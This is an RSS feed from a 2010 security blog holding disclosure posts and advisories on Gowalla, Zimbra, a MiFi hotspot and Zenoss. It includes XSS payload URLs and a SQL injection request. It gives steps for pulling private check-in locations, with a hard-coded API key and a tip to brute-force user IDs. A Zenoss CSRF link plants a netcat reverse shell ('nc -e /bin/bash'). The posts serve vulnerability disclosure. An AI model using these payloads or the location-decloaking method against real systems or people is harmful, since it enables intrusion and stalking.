<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nGenuity Information Services &#187; Adam Baldwin</title>
	<atom:link href="http://www.ngenuity.org/wordpress/author/adam_baldwin/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ngenuity.org/wordpress</link>
	<description>Security for the A.D.D generation</description>
	<lastBuildDate>Wed, 10 Mar 2010 19:25:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Decloaking Gowalla Private Passport + bonus</title>
		<link>http://www.ngenuity.org/wordpress/2010/03/09/decloaking-gowalla-private-passport-bonus/</link>
		<comments>http://www.ngenuity.org/wordpress/2010/03/09/decloaking-gowalla-private-passport-bonus/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 19:10:02 +0000</pubDate>
		<dc:creator>Adam Baldwin</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[decloak]]></category>
		<category><![CDATA[gowalla]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.ngenuity.org/wordpress/?p=515</guid>
		<description><![CDATA[It seems that every day people around me are sharing more and more &#8220;status&#8221; information with each other. Whether or not that is a good idea is best left for another conversation, but here&#8217;s an argument for not sharing: Like a lot of people, I tried out Gowalla. It was fun to spam my friends [...]]]></description>
			<content:encoded><![CDATA[<p>It seems that every day people around me are sharing more and more &#8220;status&#8221; information with each other. Whether or not that is a good idea is best left for another conversation, but here&#8217;s an argument for not sharing: Like a lot of people, I tried out Gowalla. It was fun to spam my friends with random locations I was visiting, mindlessly whoring out information to the public about my whereabouts. I figured after using the service for a little while that it might be a good idea to just tell my friends about where I am rather than broadcast it to the whole world (<a href="http://pleaserobme.com">pleaserobme.com</a>), and enabled the private profile option.</p>
<p style="text-align: center;"><a href="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/03/Screen-shot-2010-03-08-at-11.04.22-PM1.png"><img class="aligncenter size-full wp-image-520" title="Private Passport" src="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/03/Screen-shot-2010-03-08-at-11.04.22-PM1.png" alt="" width="675" height="138" /></a></p>
<p>Per Gowalla the private profile option will:</p>
<blockquote><p>If you choose to turn Passport Privacy on, your stamps (the places  you&#8217;ve been) and your items will only be visible to your friends.</p></blockquote>
<p>Not wanting to take their word for it I had to take a look at the various ways of accessing the data that was to be private. Turns out that through a series of API calls this information is still available. The process I used is outlined below.</p>
<p>1. First we need to find a user to <span style="text-decoration: line-through;">stalk</span> decloak. You can either guess at a username (turns out a lot of people like to use the same Gowalla username as their twitter username, go figure). We will use mine for the sake of demonstration, but here is another protip: If you don&#8217;t know the username just go through ID&#8217;s and brute force all the accounts. It appears that Gowalla&#8217;s userids increment in a predictable manner. Also, it&#8217;s important to note that gowalla.com/users/adam_baldwin and gowalla.com/users/53172 bring up the same user information.</p>
<p>2. Now we need to find out the number of stamps a user has using the URL below. If the number is 0 there is a chance the profile is private.</p>
<p>http://gowalla.com/users/%d/stamps?limit=1</p>
<p>Making the request requires that you mimic the web api. So some fancy headers are in order. Something like..</p>
<blockquote><p>headers = {&#8216;User-Agent&#8217;:user_agent,<br />
&#8216;X-Requested-With&#8217;:'XMLHttpRequest&#8217;,<br />
&#8216;X-Gowalla-API-Key&#8217;: &#8216;fa574894bddc43aa96c556eb457b4009&#8242;,<br />
&#8216;Accept&#8217;:'application/json&#8217;,<br />
}</p></blockquote>
<p>3. Next we get the user information. If the stamp count is &gt; 0 the profile is definitely cloaked (private) and we need to do a little more digging.</p>
<p>http://gowalla.com/users/%d.json</p>
<p>4. The following URL will give you all the locations in which the user has checked in. It&#8217;s not really all that useful as it&#8217;s just the location.</p>
<p>http://gowalla.com/spots?checkins_user_id=%d&amp;order=checkins_count+desc</p>
<p>5. This is where things get interesting. If you use the checkins_url value from each spot in step 4 and go request the data, you get all of the checkins for that spot. Including the checkins for the user that are supposed to be private. Iterate through them looking to see which one has a user url that matches your targeted user and now you have date and time of the check in.</p>
<p>Here is what my passport looks at the time of this writing, go look for yourself at http://gowalla.com/users/adam_baldwin</p>
<p><a href="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/03/Screen-shot-2010-03-04-at-7.47.27-PM.png"><img class="aligncenter size-medium wp-image-521" title="Private Passport" src="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/03/Screen-shot-2010-03-04-at-7.47.27-PM-300x166.png" alt="" width="300" height="166" /></a>Here is what the output of the decloak.py script.</p>
<blockquote><p>53172   Adam Baldwin (adam_baldwin)<br />
Texas<br />
checkin &#8211; 2010-02-10T04:56:26+00:00<br />
Washington<br />
checkin &#8211; 2010-01-10T23:45:20+00:00<br />
IAH George Bush Intercontinental<br />
checkin &#8211; 2010-02-10T04:56:26+00:00<br />
Airplane Waiting On Tarmac<br />
checkin &#8211; 2010-02-12T15:08:22+00:00<br />
Tri-Cities Airport (PSC)<br />
checkin &#8211; 2010-02-12T22:41:51+00:00<br />
&#8230;</p></blockquote>
<p>If you bothered to read this far then YOU WIN A BONUS!!!! Gowalla recently released their read-only API for developers. It comes with a handy tool for testing out and learning the API.</p>
<p><a href="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/03/Screen-shot-2010-03-08-at-11.15.06-PM.png"><img class="aligncenter size-medium wp-image-527" title="XSS" src="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/03/Screen-shot-2010-03-08-at-11.15.06-PM-300x164.png" alt="" width="300" height="164" /></a></p>
<p>Here is the URL as showing in the screenshot above. XSS ftw?</p>
<blockquote><p>http://gowalla.com/api/explorer#/spots?lat=30.2697&amp;lng=-97.7494&amp;radius=50&#8243;&gt;&lt;script&gt;alert(&#8216;xss&#8217;)&lt;/script&gt;</p></blockquote>
<p>Gowalla was notified on March 4th about these particular issues.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ngenuity.org/wordpress/2010/03/09/decloaking-gowalla-private-passport-bonus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zimbra search skin XSS</title>
		<link>http://www.ngenuity.org/wordpress/2010/03/08/zimbra-search-skin-xss/</link>
		<comments>http://www.ngenuity.org/wordpress/2010/03/08/zimbra-search-skin-xss/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 06:25:48 +0000</pubDate>
		<dc:creator>Adam Baldwin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[NGENUITY-2010-004]]></category>
		<category><![CDATA[webappsec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[zimbra]]></category>

		<guid isPermaLink="false">http://www.ngenuity.org/wordpress/?p=444</guid>
		<description><![CDATA[nGenuity Information Services &#8211; Security Advisory
   Advisory ID: NGENUITY-2010-004 - Zimbra search skin XSS
   Application: Zimbra
        Vendor: Zimbra
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS
Authentication: Valid session required

  I. BACKGROUND
    [...]]]></description>
			<content:encoded><![CDATA[<p>nGenuity Information Services &#8211; Security Advisory</p>
<pre>   Advisory ID: NGENUITY-2010-004 - Zimbra search skin XSS
   Application: Zimbra
        Vendor: Zimbra
Vendor website: <a href="http://www.spiceworks.com" target="_blank">http://www.spiceworks.com</a>
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS
Authentication: Valid session required

  I. BACKGROUND
     Zimbra [1] is an open-source and commercial messaging and collaboration software
     suite.

 II. DETAILS
     A cross-site script (XSS) vulnerability exists within the classic Zimbra web
     interface. This vulnerability exists due to improper output encoding of the
     skin parameter.

     Example:
     http://example.com/zimbra/h/search?skin=--&gt;&lt;script src=""&gt;&lt;/script&gt;&lt;!--&amp;
     mesg=welcome&amp;initial=true&amp;app=

     The vendor states that this vulnerability is addressed in version 5.0.20 and
     6.0.2. "The 5.0.x series of releases was not vulnerable to this issue.  We
     applied the same change in 5.0.20 that went into 6.0.2, but that was just for
     safety.  In 5.0.x other code prohibited this exploit."</pre>
<pre>III. REFERENCES
     [1] - http://www.zimbra.com

 IV. VENDOR COMMUNICATION
     10.07.2009 - Vulnerability Discovery &amp; Vendor Notification.
     10.08.2009 - Vendor bug filed.
     12.15.2009 - Follow-up to find out fix status.
     12.15.2009 - Vendor Statement that this has been addressed.

The contents of this advisory are copyright (c) nGenuity Information  Security
and may be distributed freely provided that no fee is charged  for this distribution
and proper credit is given.
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ngenuity.org/wordpress/2010/03/08/zimbra-search-skin-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MiFi GeoPwn (GPS info via XSS+CSRF)</title>
		<link>http://www.ngenuity.org/wordpress/2010/01/14/mifi-geopwn-gps-info-via-xsscsrf/</link>
		<comments>http://www.ngenuity.org/wordpress/2010/01/14/mifi-geopwn-gps-info-via-xsscsrf/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 03:00:29 +0000</pubDate>
		<dc:creator>Adam Baldwin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Telecommunications]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[evilpacket]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[mifi]]></category>
		<category><![CDATA[NGENUITY-2010-003]]></category>
		<category><![CDATA[sprint]]></category>
		<category><![CDATA[verizon]]></category>

		<guid isPermaLink="false">http://www.ngenuity.org/wordpress/?p=445</guid>
		<description><![CDATA[The MiFi by Novatel Wireless (re-branded and sold by multiple vendors such as Sprint and Verizon) is a mobile wifi hotspot. The mifi also has a built in GPS to provide location based searching. Turns out that the web interface to this little device has a lot going on that can be exploited, from gaining [...]]]></description>
			<content:encoded><![CDATA[<p>The MiFi by Novatel Wireless (re-branded and sold by multiple vendors such as Sprint and Verizon) is a mobile wifi hotspot. The mifi also has a built in GPS to provide location based searching. Turns out that the web interface to this little device has a lot going on that can be exploited, from gaining the user&#8217;s GPS data to terminating the user&#8217;s connectivity. Before we get into the details let&#8217;s start with a story that begins right after I found the initial vulnerabilities (besides notify the vendor).</p>
<p>12:19:58 AM Adam Brault (&amp;yet): so tell me about the mifi pwn<br />
12:20:24 AM Adam Baldwin: http://ngenuity.org/dev/mifi.html (code is not there now so don&#8217;t bother clicking)<br />
12:20:33 AM Adam Baldwin: just read the source<br />
12:20:35 AM Adam Baldwin: it&#8217;s simple<br />
12:20:49 AM Adam Baldwin: changes your SSID to pwned and your secret key to javascript (and executes that javascript)</p>
<p>At this point my phone rings. Adam was apparently using his MiFi in a remote location at the time he clicked on the link I sent him. It was at that moment that we realized that a valid session was not required and that it would kill the connection for Verizon users with firmware version 11.43.2 (I think). Adam was without Internet and had to factory reset his MiFi.</p>
<p style="text-align: center;"><a href="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/01/Adium.png"><img class="size-medium wp-image-451 aligncenter" title="MiFi Pwned" src="http://www.ngenuity.org/wordpress/wp-content/uploads/2010/01/Adium-300x208.png" alt="" width="300" height="208" /></a></p>
<p>So there are a few things going on that make this possible. I will try and detail them here.</p>
<p><strong>1. Authentication not required.</strong></p>
<p>The MiFi does not require a valid session to commit changes to configuration settings. This makes exploiting the below issues a lot easier when you don&#8217;t have to require that the victim have a valid session.</p>
<p><strong>2. Enable GPS without the users knowledge.</strong></p>
<p>The GPS on a MiFi can be enabled by visiting the following URL. Depending on the situation the victim may get a alert that says &#8220;Login Required&#8221; but if they are like the typical user they will simply click on it and forget it ever happened.</p>
<p><strong>3. Cross-Site Request Forgery (CSRF)</strong></p>
<p>The web interface does not validate referrer or use any magical tokens to protect against CSRF. This means that we can have a victim visit our malicious website and do evil things like change the wireless settings of the MiFi.</p>
<p><strong>4. Output Encoding<br />
</strong></p>
<p>In multiple locations of the MiFi web interface user input is not properly encoded when output back to the user. One interesting location is the key field for the wifi settings. I&#8217;m wondering why the hell somebody thought it was a good idea to print the wifi key in clear text back to the user, and in this case it&#8217;s not properly encoded either giving us a nice 63 character persistent injection point for script.</p>
<p>So for those that weren&#8217;t paying attention: Any MiFi user that visits a specially crafted page will give up their GPS location to the attacker.</p>
<p>Here is a video clip for the Sprint MiFi (firmware AP 11.47.17, router 018.0101) of the working proof of concept.<br />
<a href="http://evilpacket.net/2010/jan/14/mifi-geopwn/">http://evilpacket.net/2010/jan/14/mifi-geopwn/</a></p>
<p><strong>NGENUITY-2010-003<br />
BID: </strong><a href="http://www.securityfocus.com/bid/37830/info">37830</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ngenuity.org/wordpress/2010/01/14/mifi-geopwn-gps-info-via-xsscsrf/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>NGENUITY-2010-002 Zenoss Multiple Admin CSRF</title>
		<link>http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-002-zenoss-multiple-admin-csrf/</link>
		<comments>http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-002-zenoss-multiple-admin-csrf/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 02:54:11 +0000</pubDate>
		<dc:creator>Adam Baldwin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[webappsec]]></category>

		<guid isPermaLink="false">http://www.ngenuity.org/wordpress/?p=208</guid>
		<description><![CDATA[nGenuity Information Services - Security Advisory
   Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
     Zenoss is a commercial and open source systems and network monitoring [...]]]></description>
			<content:encoded><![CDATA[<pre>nGenuity Information Services - Security Advisory</pre>
<pre>   Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: <a title="Zenoss" href="http://www.zenoss.com" target="_blank">http://www.zenoss.com</a>
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
     Zenoss is a commercial and open source systems and network monitoring tool. Much
     of the applications functionality is accessible via a front end web application.

 II. DETAILS
<pre>     Multiple CSRF vulnerabilities exist that can allow for arbitrary
     commands to be executed on the Zenoss server as well as reset the Zenoss
     admin password.

     Attack scenario: If an administrator has an active Zenoss
     session and visits one of these links or visits a malicious page that
     contains resources to point to these URL's

     1. Reset user password to a known state Cross-Site Request Forgery CSRF,
     in this case the password is reset to letmein.

http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&amp;

        defaultAdminRole=ZenUser&amp;defaultPageSize:int=40&amp;email=&amp;eventConsoleRefresh:
        boolean=True&amp;manage_editUserSettings:method=Save&amp;netMapStartObject=&amp;pager=&amp;
        password=letmein&amp;sndpassword=letmein&amp;zenScreenName=editUserSettings

     2. Change and execute a command CSRF.
     Change the ping command to be a netcat shell out to a remote system. In
     this case an internal system running on port 443

        http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
        /bin/bash 172.16.28.6 443&amp;commandId=ping&amp;description:text=&amp;
        manage_editUserCommand:method=Save&amp;zenScreenName=userCommandDetail

     Execute the new "ping" command:

http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping</pre>
</pre>
<pre>III. REFERENCES
     [1] - http://www.zenoss.com

 IV. VENDOR COMMUNICATION
     3.10.2009 - Vulnerability Discovery
     8.21.2009 - Requested status from vendor
     9.29.2009 - Vendor call (Fix pending)

Copyright (c) 2009 nGenuity Information Services, LLC</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-002-zenoss-multiple-admin-csrf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>NGENUITY-2010-001 Zenoss getJSONEventsInfo SQL Injection</title>
		<link>http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-001-zenoss-getjsoneventsinfo-sql-injection/</link>
		<comments>http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-001-zenoss-getjsoneventsinfo-sql-injection/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 08:55:57 +0000</pubDate>
		<dc:creator>Adam Baldwin</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[webappsec]]></category>
		<category><![CDATA[zenoss]]></category>

		<guid isPermaLink="false">http://www.ngenuity.org/wordpress/?p=206</guid>
		<description><![CDATA[nGenuity Information Services &#8211; Security Advisory
   Advisory ID: NGENUITY-2010-001 - Zenoss getJSONEventsInfo SQL Injection
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
           BID: 37802

  I. BACKGROUND
    [...]]]></description>
			<content:encoded><![CDATA[<p>nGenuity Information Services &#8211; Security Advisory</p>
<pre>   Advisory ID: NGENUITY-2010-001 - Zenoss getJSONEventsInfo SQL Injection
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: <a title="Zenoss" href="http://www.zenoss.com" target="_blank">http://www.zenoss.com</a>
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
           BID: <a href="http://www.securityfocus.com/bid/37802/exploit">37802</a>

  I. BACKGROUND
     "Zenoss Core is an award-winning open source IT monitoring product that
     effectively manages the configuration, health and performance of
     networks, servers and applications through a single, integrated
     software package." [1] 

II. DETAILS
    getJSONEventsInfo contains multiple SQL Injection vulnerabilities due to improperly
    sanitized user provided input. The following URL parameters are injectable: severity,
    state, filter, offset, and count.

    Authentication as an admin or regular user is required for successful exploitation.
    Depending on the type of attack, it may also be accomplished via Cross-Site Request
    Forgery (CSRF).

    A proof of concept request might look like this
      /zport/dmd/Events/getJSONEventsInfo?severity=1&amp;state=1&amp;filter=&amp;
      offset=0&amp;count=60 into outfile "/tmp/z"</pre>
<pre>III. REFERENCES
     [1] - http://www.zenoss.com

 IV. VENDOR COMMUNICATION
     3.10.2009 - Vulnerability Discovery
     8.21.2009 - Requested status from vendor
     9.29.2009 - Vendor call (Fix pending)

     Update 1.21.2010
     This vulnerability was fixed prior to version 2.5.

http://dev.zenoss.org/trac/changeset/15257

Copyright (c) 2009 nGenuity Information Services, LLC</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ngenuity.org/wordpress/2010/01/14/ngenuity-2010-001-zenoss-getjsoneventsinfo-sql-injection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
